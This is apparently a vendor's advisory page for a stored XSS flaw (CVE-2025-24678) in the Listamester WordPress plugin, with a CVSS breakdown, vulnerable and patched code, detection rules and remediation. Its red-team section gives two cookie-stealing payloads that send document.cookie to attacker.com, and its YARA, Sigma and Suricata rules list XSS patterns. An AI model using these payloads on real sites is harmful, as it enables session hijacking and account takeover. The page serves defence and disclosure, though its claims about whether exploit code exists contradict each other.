CVE-2025-24678
Executive Summary
CVE-2025-24678 is a Stored Cross-Site Scripting (XSS) vulnerability in the Listamester plugin (versions ≤ 2.3.4) for the WordPress ecosystem. The vulnerability arises from improper neutralization of script-related HTML tags in a web page, allowing an authenticated attacker with contributor-level access or higher to inject arbitrary JavaScript into stored content. When an administrator or other user views the affected page, the injected script executes in their browser session, potentially leading to session hijacking, credential theft, or defacement. The CVSS v3.1 base score is 6.5 (Medium), with a low attack complexity and low privileges required. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation likelihood at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor. Since no patch exists, supply chain risk is elevated; consider removing the plugin until a fix is released.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): Low (L) – Attacker needs contributor-level access.
- User Interaction (UI): Required (R) – Victim must view the malicious content.
- Scope (S): Changed (C) – Impact extends beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure.
- Integrity (I): Low (L) – Limited content modification.
- Availability (A): Low (L) – Limited service disruption.
Threat Level: Medium. Exploitation requires authenticated access, but the stored XSS can persist and affect multiple users.
Deep Dive & Mechanics
The Listamester plugin fails to sanitize user-supplied input when storing list items or configuration data. Specifically, it does not neutralize HTML tags that can execute scripts (e.g., <script>, <img onerror>, <svg onload>). An attacker with contributor-level privileges can inject malicious JavaScript into a list entry. When an administrator or other user views the list, the script executes in their browser context, bypassing same-origin policy restrictions.
Attack Flow:
- Attacker logs in with contributor-level credentials.
- Attacker creates or edits a list item containing a payload like
<script>alert('XSS')</script>. - The payload is stored in the WordPress database without sanitization.
- When an admin visits the list page, the script executes.
- The attacker can steal cookies, perform actions on behalf of the admin, or deface the site.
Vulnerable vs. Patched Code
Vulnerable Code (≤ 2.3.4):
// In listamester.php or similar
function render_list_item($item) {
echo "<li>" . $item['content'] . "</li>"; // Direct output without escaping
}
Patched Code (Hypothetical):
function render_list_item($item) {
echo "<li>" . esc_html($item['content']) . "</li>"; // Properly escape HTML
}
The vulnerable code uses direct concatenation of user input into HTML output. The patched version uses WordPress's esc_html() function to encode special characters, preventing script execution.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- WordPress instance with Listamester ≤ 2.3.4 installed and activated.
- Contributor-level account credentials.
Exploitation Steps:
- Log in as a contributor.
- Navigate to the Listamester admin page (e.g.,
/wp-admin/admin.php?page=listamester). - Create a new list item with the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the item.
- Wait for an administrator to view the list, or send a direct link to the admin.
Alternative Payload (Stealthy):
<img src=x onerror="new Image().src='https://attacker.com/steal?c='+document.cookie">
Blue Team (Detection & Response)
Detection:
- Monitor for unusual list item content containing
<script>,<img onerror>, or other event handlers. - Use Web Application Firewall (WAF) rules to block common XSS patterns.
- Review WordPress user activity logs for suspicious list creation/modification.
Response:
- Immediately remove the malicious list item.
- Rotate all admin session cookies and force re-authentication.
- Review user roles and remove untrusted contributors.
- Apply virtual patching via WAF until an official patch is available.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to unknown domains from the WordPress server.
- Requests containing
document.cookiein the query string.
- File IOCs:
- Modified entries in the
wp_postmetaor custom Listamester database tables containing script tags.
- Modified entries in the
- Log IOCs:
- WordPress debug logs showing
wp_ksesfailures or unescaped output. - Web server access logs with
%3Cscript%3Eor similar URL-encoded XSS patterns.
- WordPress debug logs showing
Detection Engineering
YARA Rule
rule CVE_2025_24678_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Listamester plugin data"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-24678"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /<[^>]+on\w+\s*=\s*['"][^'"]*['"]/is
$xss3 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: CVE-2025-24678 Listamester Stored XSS Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts against Listamester plugin
author: Valters IT
date: 2025-04-01
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains:
- 'listamester'
- 'listamester_admin'
cs-request-body|contains:
- '<script'
- 'onerror'
- 'onload'
- 'javascript:'
condition: selection
falsepositives:
- Legitimate use of JavaScript in list items (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-24678 Listamester Stored XSS Attempt";
flow:to_server,established;
content:"POST"; http_method;
content:"listamester"; http_uri;
content:"<script"; http_client_body;
sid:1000001;
rev:1;
reference:cve,2025-24678;
classtype:web-application-attack;
priority:1;
)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until an official patch is released.
- Apply virtual patching using a WAF to block XSS payloads in POST requests to Listamester endpoints.
- Review and sanitize existing list items for malicious content.
Long-Term Fix:
- The vendor must release a patched version that properly escapes output using
esc_html()orwp_kses_post(). - Users should update to the latest version once available.
Workaround:
- Restrict contributor-level access to trusted users only.
- Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.